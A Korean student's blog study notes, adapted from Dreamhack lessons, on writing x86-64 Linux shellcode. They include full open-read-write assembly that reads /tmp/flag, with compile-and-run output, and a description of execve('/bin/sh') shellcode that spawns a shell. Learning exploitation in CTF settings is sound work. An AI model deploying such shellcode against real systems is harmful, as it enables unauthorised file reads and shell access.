[Pwnable] 4. Exploit Tech: Shellcode

Wonder_Land🛕·2022년 10월 18일
0

[Pwnable]

목록 보기
4/21
post-thumbnail

[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.


  1. 서론
  2. orw 셸코드
  3. execve 셸코드
  4. Q&A
  5. 마치며

1. 서론

  • 익스플로잇(Exploit)
    : 해킹 분야에서는, 상대 시스템을 공격하는 것
    : 사전적 의미는, 부당하게 이용하다
  • 셸코드(Shellcode)
    : 익스플로잇을 위해 제작된 어셈블리 코드 조각

셸코드는 어셈블리어로 구성되므로,
공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성됩니다.

최적의 셸코드는 일반저으로 직접 작성해야 하며, 상황에 따라 반드시 그래야만 할 수도 있습니다.


2. orw 셸코드

  • orw 셸코드(Open, Read, Write)
    : 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드입니다.

지금부터 "/tmp/flag"를 읽는 셸코드를 작성하겠습니다.

C언어로 작성해보면

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

1) int fd = open("/tmp/flag", RD_ONLY, NULL)

첫 번째로 해야할 일은 "tmp/flag"라는 문자열을 메모리에 위치시켜야 합니다.

따라서 스택에 0x616c662f706d742f67(/tmp/flag)를 push합니다.

그리고 rdi가 이를 가리키도록 rsprdi로 옮깁니다.

파일을 읽을 때, mode는 의미를 가지지 않으므로 rdx0으로 설정합니다.

마지막으로 raxopen의 syscall 값인 2로 설정합니다.

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

2) read(fd, buf, 0x30)

앞서 1번의 syscall 반환값은 rax에 저장됩니다.
따라서 open으로 획득한 fdrax에 저장됩니다.

read의 첫번째 인자를 이 값으로 해야하므로,
raxrdi에 대입합니다.

rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킵니다.
0x30만큼 읽을 것이므로, rsirsp-0x30을 대입합니다.

rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정합니다.

raxread syscall을 호출하기 위해 0으로 설정합니다.

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

3) write(1, buf, 0x30)

출력은 stdout으로 할 것이므로,
rdi0x1로 설정합니다.

rsirdx는 앞서 read에서 사용한 값을 그대로 사용합니다.

raxwrite syscall을 호출하기 위해 1로 설정합니다.

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

4) orw 셸코드 컴파일 및 실행

대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있습니다.

윈도우의 PE, 리눅스의 ELF 등이 있습니다.

ELF(Executable and Linkable Format)는 크게 헤더, 코드, 기타 데이터로 구성되어 있습니다.

헤더에는 실행에 필요한 여러 정보가,
코드에는 CPU가 이해할 수 있는 기계어가 적혀있습니다.

우리가 위에서 작성한 셸코드 orw.S는 아스키로 작성된 어셈블리 코드이므로,
기계어로 치환하면 CPU가 이해할 수 있으나,
ELF 형식이 아니므로 리눅스에서 실행할 수는 없습니다.

따라서 gcc 컴파일을 통해 이를 ELF 형식으로 변환해야 합니다.

orw.S

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

(orw.Corw.S는 다음 페이지를 확인해주세용)
(드림핵 사이트 : https://learn.dreamhack.io/50#7)


5) 실행

우선 "/tmp/flag" 파일을 생성해 줍니다.

echo "flag{this_is_open_read_write_shellcode!}" > /tmp/flag

이후 orw.c를 컴파일하고, 실행합니다.

gcc -o orw orw.c -masm=intel
./orw
flag{this_is_open_read_write_shellcode!}
&��U

정상적으로 실행됩니다.

하지만 출력된 결과를 보면,
"/tmp/flag" 파일 내용 말고도, 뒤에 몇 개의 문자열들이 출력됐습니다.

우리는 0x30, 즉 48바이트를 읽어야 하는데
해당 파일을 출력한 결과는 40바이트이므로, 나머지 바이트를 초기화되지 않은 메모리 영역을 출력해버려서 그렇습니다.


3. execve 셸코드

  • 셸(Shell, 껍질)
    : 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스

운영체제의 핵심 기능을 하는 프로그램을 '커널(Kernel, 호두 속 내용물)'과 대비됩니다.

셸을 획득하게 되면,
시스템을 제어할 수 있으므로,
통상적으로 셸을 획득하면 시스템 해킹의 성공으로 여깁니다.

execve 셸코드는 임의의 프로그램을 실행하는 셸코드입니다.

이를 이용하면 셀을 획득할 수 있습니다.
일반적으로 다른 언급 없이, 셸코드라고 하면 이를 지칭하는 경우가 많습니다.

최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있으며,
이 외에도 zsh, tsh등을 셸을 설치해서 사용할 수 있습니다.

1) execve(“/bin/sh”, null, null)

execve 셸코드는 execve 시스템콜만으로 구성됩니다.

첫번째 인자는 실행할 파일의 이름,
두번째 인자는 실행파일에 넘겨줄 인자
세번째 인자는 환경변수입니다.

우리는 sh만 실행할 것이므로, 두번째, 세번째 인자는 null로 설정합니다.

리눅스에서는 기본 실행 프로그램은 /bin/ 디렉토리에 저장되어 있습니다. sh도 마찬가지죠.

(execve.S는 다음 페이지를 확인해주세용)
(드림핵 사이트 : https://learn.dreamhack.io/50#15)


2) execve 셸코드 컴파일 및 실행

execve.S를 스켈레톤 코드에 넣어서 execve.c를 만듭니다.

이후 컴파일 및 실행 하면

bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id 
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

위와 같이 작동합니다.

(마지막에 id명령어 이후, 괄호 속에는 본인의 관리자명이 출력됩니다. 작성자 본인은 Dreamhack 사이트에서 인용했으므로 dreamhack 출력되었습니다.)


3) objdump를 이용한 shellcode 추출

마지막으로, 작성한 셸코드를 byte code(opcode)로 추출해야 합니다.

(다음 페이지를 확인해주세용)
(드림핵 사이트 : https://learn.dreamhack.io/50#17)


4. Q&A

-


5. 마치며

사실 강의를 순서대로 따라가면 이해는 되지만...

실제로 해보면 그렇게 간단하지 않았다.
그래서 이 강의에 딸려있는 문제는 인터넷을 뒤져봐도 제대로 이해하지 못했다....

일단 초반부 강의에서 실제로 이해가 되지 않더라도 '아 그런게 있나보다'하면서 공부하면 된다고 했기에...

조금 더 공부해보고 해당 문제를 다시 풀어봐야겠다.

[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.

profile
아무것도 모르는 컴공 학생의 Wonder_Land

0개의 댓글